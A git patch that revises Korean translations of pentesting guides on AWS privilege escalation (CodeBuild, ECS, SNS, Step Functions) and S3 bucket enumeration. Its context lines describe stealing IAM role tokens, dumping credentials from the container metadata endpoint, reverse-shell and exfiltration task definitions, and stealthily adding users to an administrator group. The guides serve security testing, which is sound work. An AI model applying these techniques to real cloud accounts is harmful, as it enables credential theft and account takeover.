From f97acef818527faa1d450e8a3b90281507558804 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 1 May 2025 11:39:55 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- .../aws-codebuild-privesc.md | 16 ++++++++-------- .../aws-privilege-escalation/aws-ecs-privesc.md | 12 ++++++------ .../aws-privilege-escalation/aws-sns-privesc.md | 6 +++--- .../aws-stepfunctions-privesc.md | 12 ++++++------ .../aws-s3-unauthenticated-enum.md | 14 +++++++------- 5 files changed, 30 insertions(+), 30 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 71ed6a15b..1646d5a3f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -12,7 +12,7 @@ ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -이 권한 중 하나만 있으면 새로운 buildspec으로 빌드를 트리거하고 프로젝트에 할당된 iam 역할의 토큰을 탈취할 수 있습니다: +이 권한 중 하나만 있으면 새로운 buildspec으로 빌드를 트리거하고 프로젝트에 할당된 iam 역할의 토큰을 훔칠 수 있습니다: {{#tabs }} {{#tab name="StartBuild" }} @@ -67,7 +67,7 @@ aws codebuild start-build-batch --project --buildspec-override fi ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -**`iam:PassRole`, `codebuild:CreateProject`, 및 `codebuild:StartBuild` 또는 `codebuild:StartBuildBatch`** 권한을 가진 공격자는 실행 중인 코드를 생성하여 **모든 codebuild IAM 역할로 권한을 상승시킬 수 있습니다.** +**`iam:PassRole`, `codebuild:CreateProject`, 및 `codebuild:StartBuild` 또는 `codebuild:StartBuildBatch`** 권한을 가진 공격자는 실행 중인 코드를 생성하여 **모든 codebuild IAM 역할로 권한을 상승시킬 수 있습니다**. {{#tabs }} {{#tab name="Example1" }} @@ -176,15 +176,15 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data > [!WARNING] > **Codebuild 컨테이너**에서 파일 `/codebuild/output/tmp/env.sh`는 **메타데이터 자격 증명**에 접근하는 데 필요한 모든 환경 변수를 포함합니다. -> 이 파일에는 **환경 변수 `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**가 포함되어 있으며, 이는 자격 증명에 접근하기 위한 **URL 경로**를 포함합니다. 이 경로는 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`와 같은 형식일 것입니다. +> 이 파일에는 **자격 증명에 접근하기 위한 URL 경로**를 포함하는 **환경 변수 `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**가 포함되어 있습니다. 이는 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`와 같은 형식일 것입니다. > 이를 URL **`http://169.254.170.2/`**에 추가하면 역할 자격 증명을 덤프할 수 있습니다. -> 또한, **환경 변수 `ECS_CONTAINER_METADATA_URI`**도 포함되어 있으며, 이는 **컨테이너에 대한 메타데이터 정보**를 얻기 위한 전체 URL을 포함합니다. +> 또한, **컨테이너에 대한 메타데이터 정보를 얻기 위한 전체 URL**을 포함하는 **환경 변수 `ECS_CONTAINER_METADATA_URI`**도 포함되어 있습니다. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -이전 섹션과 마찬가지로, 빌드 프로젝트를 생성하는 대신 수정할 수 있다면, IAM 역할을 지정하고 토큰을 탈취할 수 있습니다. +이전 섹션과 마찬가지로, 빌드 프로젝트를 생성하는 대신 수정할 수 있다면 IAM 역할을 지정하고 토큰을 훔칠 수 있습니다. ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -302,7 +302,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project ### SSM -**SSM 세션을 시작할 수 있는 충분한 권한이 있는 경우** 빌드 중인 **Codebuild 프로젝트 내부에 들어갈 수 있습니다.** +**SSM 세션을 시작할 수 있는 충분한 권한**이 있으면 **구축 중인 Codebuild 프로젝트**에 접근할 수 있습니다. Codebuild 프로젝트는 중단점이 필요합니다: @@ -325,7 +325,7 @@ aws ssm start-session --target --region 특정 CodeBuild 프로젝트의 빌드를 시작/재시작할 수 있는 공격자는 공격자가 쓰기 권한이 있는 S3 버킷에 `buildspec.yml` 파일을 저장하는 경우, CodeBuild 프로세스에서 명령 실행을 얻을 수 있습니다. -참고: 권한 상승은 CodeBuild 작업자가 공격자의 역할과 다른 역할(더 높은 권한이 있기를 바람)을 가질 때만 관련이 있습니다. +참고: 권한 상승은 CodeBuild 작업자가 공격자의 역할과 다르고, 더 높은 권한을 가진 경우에만 관련이 있습니다. ```bash aws s3 cp s3:///buildspec.yml ./ @@ -354,7 +354,7 @@ commands: **Impact:** AWS CodeBuild 작업자가 사용하는 역할로의 직접적인 권한 상승, 일반적으로 높은 권한을 가집니다. > [!WARNING] -> buildspec이 zip 형식으로 예상될 수 있으므로, 공격자는 다운로드, 압축 해제, 루트 디렉토리에서 `buildspec.yml` 수정, 다시 압축 및 업로드를 해야 합니다. +> buildspec이 zip 형식으로 예상될 수 있으므로, 공격자는 루트 디렉토리에서 `buildspec.yml`을 다운로드, 압축 해제, 수정한 후 다시 압축하고 업로드해야 합니다. 자세한 내용은 [여기](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/)에서 확인할 수 있습니다. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 375468c44..9977c05db 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -12,7 +12,7 @@ ECS에 대한 **더 많은 정보**는 다음에서 확인할 수 있습니다: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -`iam:PassRole`, `ecs:RegisterTaskDefinition` 및 `ecs:RunTask` 권한을 악용하는 공격자는 **메타데이터 자격 증명을 훔치는** **악성 컨테이너**로 **새로운 작업 정의**를 **생성**하고 **실행**할 수 있습니다. +ECS에서 `iam:PassRole`, `ecs:RegisterTaskDefinition` 및 `ecs:RunTask` 권한을 악용하는 공격자는 **악성 컨테이너**가 포함된 **새로운 작업 정의**를 **생성**하고 이를 **실행**할 수 있습니다. {{#tabs }} {{#tab name="Reverse Shell" }} @@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#tab name="Webhook" }} -webhook.site와 같은 사이트에서 웹후크를 생성합니다. +webhook.site와 같은 사이트에서 웹훅을 생성합니다. ```bash # Create file container-definition.json @@ -100,7 +100,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -이전 예제와 마찬가지로, 공격자가 ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 또는 **`ecs:CreateService`** 권한을 악용하면 **악성 컨테이너**가 포함된 **새로운 작업 정의**를 **생성하고, 최소 1개의 작업이 실행되는 새로운 서비스를 생성하여 이를 실행할 수 있습니다.** +이전 예제와 마찬가지로 공격자가 ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 또는 **`ecs:CreateService`** 권한을 악용하면 **악성 컨테이너**가 포함된 **새로운 작업 정의**를 **생성하고, 최소 1개의 작업이 실행되는 새로운 서비스를 생성하여 실행할 수 있습니다.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -127,7 +127,7 @@ aws ecs update-service --cluster \ ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -실제로, 이러한 권한만으로도 임의의 역할을 가진 컨테이너에서 임의의 명령을 실행하기 위해 오버라이드를 사용할 수 있습니다. +사실, 이러한 권한만으로도 임의의 역할을 가진 컨테이너에서 임의의 명령을 실행하기 위해 오버라이드를 사용할 수 있습니다. ```bash aws ecs run-task \ --task-definition "" \ @@ -244,7 +244,7 @@ TODO: 공격자가 제어하는 머신에서 작업이 실행되도록 다른 AW > [!NOTE] > TODO: 테스트하기 -`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, 및 `ecs:DescribeTaskSets` 권한을 가진 공격자는 **기존 ECS 서비스에 대해 악성 작업 세트를 생성하고 기본 작업 세트를 업데이트**할 수 있습니다. 이를 통해 공격자는 **서비스 내에서 임의의 코드를 실행**할 수 있습니다. +`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, 및 `ecs:DescribeTaskSets` 권한을 가진 공격자는 **기존 ECS 서비스에 대해 악성 작업 세트를 생성하고 기본 작업 세트를 업데이트**할 수 있습니다. 이는 공격자가 **서비스 내에서 임의의 코드를 실행**할 수 있게 합니다. ```bash bashCopy code# Register a task definition with a reverse shell echo '{ @@ -270,7 +270,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**잠재적 영향**: 영향을 받는 서비스에서 임의의 코드를 실행하여 기능에 영향을 주거나 민감한 데이터를 유출할 수 있습니다. +**잠재적 영향**: 영향을 받는 서비스에서 임의의 코드를 실행하여 기능에 영향을 미치거나 민감한 데이터를 유출할 수 있습니다. ## 참조 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 62f6dab7e..2445c0a5a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -20,7 +20,7 @@ aws sns publish --topic-arn --message ### `sns:Subscribe` -공격자는 SNS 주제에 구독할 수 있으며, 이로 인해 메시지에 대한 무단 접근을 얻거나 해당 주제에 의존하는 애플리케이션의 정상적인 기능을 방해할 수 있습니다. +공격자는 SNS 주제에 구독할 수 있으며, 이로 인해 메시지에 대한 무단 접근을 얻거나 주제에 의존하는 애플리케이션의 정상적인 기능을 방해할 수 있습니다. ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` @@ -28,10 +28,10 @@ aws sns subscribe --topic-arn --protocol --endpoint ### `sns:AddPermission` -공격자는 무단 사용자 또는 서비스에 SNS 주제에 대한 접근 권한을 부여할 수 있으며, 잠재적으로 추가 권한을 얻을 수 있습니다. +공격자는 무단 사용자 또는 서비스에 SNS 주제에 대한 접근 권한을 부여하여 추가 권한을 얻을 수 있습니다. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` -**잠재적 영향**: 무단 사용자 또는 서비스에 의한 주제에 대한 무단 접근, 메시지 노출 또는 주제 조작, 주제에 의존하는 애플리케이션의 정상적인 기능 중단. +**잠재적 영향**: 승인되지 않은 사용자 또는 서비스에 의한 주제에 대한 무단 접근, 메시지 노출 또는 주제 조작, 주제에 의존하는 애플리케이션의 정상적인 기능 중단. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index 24d29e004..0b5979749 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -59,11 +59,11 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn "status": "SUCCEEDED" } ``` -**잠재적 영향**: 승인되지 않은 워크플로우 실행 및 조작과 민감한 리소스 접근, 이는 심각한 보안 위반으로 이어질 수 있습니다. +**Potential Impact**: 무단으로 워크플로우를 실행하고 조작하며 민감한 리소스에 접근할 수 있어, 심각한 보안 위반으로 이어질 수 있습니다. ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -**`states:CreateStateMachine`** 및 **`iam:PassRole`** 권한을 가진 공격자는 상태 기계를 생성하고 이에 IAM 역할을 제공할 수 있어, 역할의 권한으로 다른 AWS 서비스에 대한 승인되지 않은 접근을 가능하게 합니다. 이전의 권한 상승 기법(**`states:TestState`** & **`iam:PassRole`**)과는 달리, 이 기법은 스스로 실행되지 않으며, 상태 기계에서 실행을 시작하기 위해 **`states:StartExecution`** 또는 **`states:StartSyncExecution`** 권한이 필요합니다 (**`states:StartSyncExecution`**은 **표준 워크플로우에 대해 사용할 수 없으며, **표현 상태 기계**에만 해당됩니다). +**`states:CreateStateMachine`** 및 **`iam:PassRole`** 권한을 가진 공격자는 상태 기계를 생성하고 이를 위해 어떤 IAM 역할이든 제공할 수 있어, 역할의 권한으로 다른 AWS 서비스에 무단으로 접근할 수 있습니다. 이전의 권한 상승 기법(**`states:TestState`** & **`iam:PassRole`**)과는 달리, 이 기법은 스스로 실행되지 않으며, 상태 기계에서 실행을 시작하기 위해 **`states:StartExecution`** 또는 **`states:StartSyncExecution`** 권한이 필요합니다 (**`states:StartSyncExecution`**은 **표준 워크플로우에 대해 사용할 수 없으며, **표현 상태 기계**에만 해당됩니다). ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -140,7 +140,7 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 **`states:UpdateStateMachine`** 권한을 가진 공격자는 상태 기계의 정의를 수정할 수 있으며, 권한 상승으로 이어질 수 있는 추가적인 은밀한 상태를 추가할 수 있습니다. 이렇게 하면, 정당한 사용자가 상태 기계의 실행을 시작할 때 이 새로운 악의적인 은밀한 상태가 실행되고 권한 상승이 성공하게 됩니다. -상태 기계와 연결된 IAM 역할이 얼마나 관대하게 설정되어 있는지에 따라 공격자는 두 가지 상황에 직면할 수 있습니다: +상태 기계와 연결된 IAM 역할이 얼마나 관대하냐에 따라 공격자는 2가지 상황에 직면할 수 있습니다: 1. **관대한 IAM 역할**: 상태 기계와 연결된 IAM 역할이 이미 관대하다면(예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 첨부되어 있는 경우), 권한 상승을 위해 **`iam:PassRole`** 권한이 필요하지 않습니다. 상태 기계 정의만으로도 충분하기 때문입니다. 2. **비관대한 IAM 역할**: 이전 경우와는 달리, 여기서 공격자는 상태 기계 정의를 수정하는 것 외에도 상태 기계에 관대한 IAM 역할을 연결하기 위해 **`iam:PassRole`** 권한이 필요합니다. @@ -148,10 +148,10 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -다음 예제는 HelloWorld Lambda 함수를 호출하는 합법적인 상태 기계를 업데이트하여 사용자 **`unprivilegedUser`**를 **`administrator`** IAM 그룹에 추가하는 추가 상태를 추가하는 방법을 보여줍니다. 이렇게 하면 합법적인 사용자가 업데이트된 상태 기계의 실행을 시작할 때 이 새로운 악의적인 스텔스 상태가 실행되고 권한 상승이 성공하게 됩니다. +다음 예제는 HelloWorld Lambda 함수를 호출하는 정당한 상태 머신을 업데이트하여 사용자 **`unprivilegedUser`**를 **`administrator`** IAM 그룹에 추가하는 추가 상태를 추가하는 방법을 보여줍니다. 이렇게 하면 정당한 사용자가 업데이트된 상태 머신의 실행을 시작할 때 이 새로운 악의적인 스텔스 상태가 실행되고 권한 상승이 성공적으로 이루어집니다. > [!WARNING] -> 상태 기계에 관대한 IAM 역할이 연결되어 있지 않은 경우, 관대한 IAM 역할을 연결하기 위해 IAM 역할을 업데이트하는 **`iam:PassRole`** 권한도 필요합니다 (예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 연결된 역할). +> 상태 머신에 관대한 IAM 역할이 연결되어 있지 않은 경우, 관대한 IAM 역할을 연결하기 위해 IAM 역할을 업데이트하는 **`iam:PassRole`** 권한도 필요합니다 (예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 연결된 역할). {{#tabs }} {{#tab name="Legit State Machine" }} @@ -218,7 +218,7 @@ aws states update-state-machine --state-machine-arn [--definition > /tmp/words-hosts-s3.txt # 공격할 도메인 및 서브도메인 목록을 기반으로 변형 생성 goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp -## 이전 도구는 서브도메인에 대한 변형 생성을 전문으로 하며, 해당 목록을 필터링합니다. +## 이전 도구는 서브도메인에 대한 변형 생성을 전문으로 하므로 해당 목록을 필터링합니다. ### "."로 끝나는 줄 제거 cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2 ### TLD 없는 목록 생성 @@ -112,7 +112,7 @@ Non-authoritative answer: 버킷의 개방성을 테스트하기 위해 사용자는 웹 브라우저에 URL을 입력하기만 하면 됩니다. 개인 버킷은 "Access Denied"로 응답합니다. 공개 버킷은 저장된 첫 1,000개의 객체를 나열합니다. -모두에게 열려있음: +모두에게 열려 있습니다: ![](<../../../images/image (201).png>) @@ -128,7 +128,7 @@ CLI로도 확인할 수 있습니다: #Opcionally you can select the region if you now it aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] ``` -버킷에 도메인 이름이 없는 경우, 열거하려고 할 때 **버킷 이름만 입력**하고 전체 AWS S3 도메인은 입력하지 마십시오. 예: `s3://` +버킷에 도메인 이름이 없는 경우, 열거하려고 할 때 **버킷 이름만 입력**하고 전체 AWSs3 도메인은 입력하지 마십시오. 예: `s3://` ### 공개 URL 템플릿 ``` @@ -137,7 +137,7 @@ https://{user_provided}.s3.amazonaws.com ### 공개 버킷에서 계정 ID 가져오기 새로운 **`S3:ResourceAccount`** **정책 조건 키**를 활용하여 AWS 계정을 확인할 수 있습니다. 이 조건은 **계정이 있는 S3 버킷**에 따라 접근을 **제한**합니다 (다른 계정 기반 정책은 요청하는 주체가 있는 계정에 따라 제한합니다).\ -정책에 **와일드카드**를 포함할 수 있기 때문에 **한 번에 하나의 숫자**로 계정 번호를 찾는 것이 가능합니다. +정책에 **와일드카드**가 포함될 수 있기 때문에 **한 번에 하나의 숫자**로 계정 번호를 찾는 것이 가능합니다. 이 도구는 이 과정을 자동화합니다: ```bash @@ -165,7 +165,7 @@ curl -X GET "[bucketname].amazonaws.com/" \ ### 루트 계정 열거를 위한 사용된 이메일 -[**이 블로그 게시물**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)에서 설명한 바와 같이, S3 버킷에 대한 ACL을 통해 이메일 주소에 권한을 부여하려고 시도함으로써 해당 이메일 주소가 AWS 계정과 관련이 있는지 확인할 수 있습니다. 오류가 발생하지 않으면, 해당 이메일이 일부 AWS 계정의 루트 사용자라는 의미입니다. +[**이 블로그 게시물**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)에서 설명한 바와 같이, S3 버킷에 대한 ACL을 통해 이메일 주소에 권한을 부여하려고 시도함으로써 해당 이메일 주소가 AWS 계정과 관련이 있는지 확인할 수 있습니다. 오류가 발생하지 않으면, 해당 이메일이 일부 AWS 계정의 루트 사용자임을 의미합니다. ```python s3_client.put_bucket_acl( Bucket=bucket_name,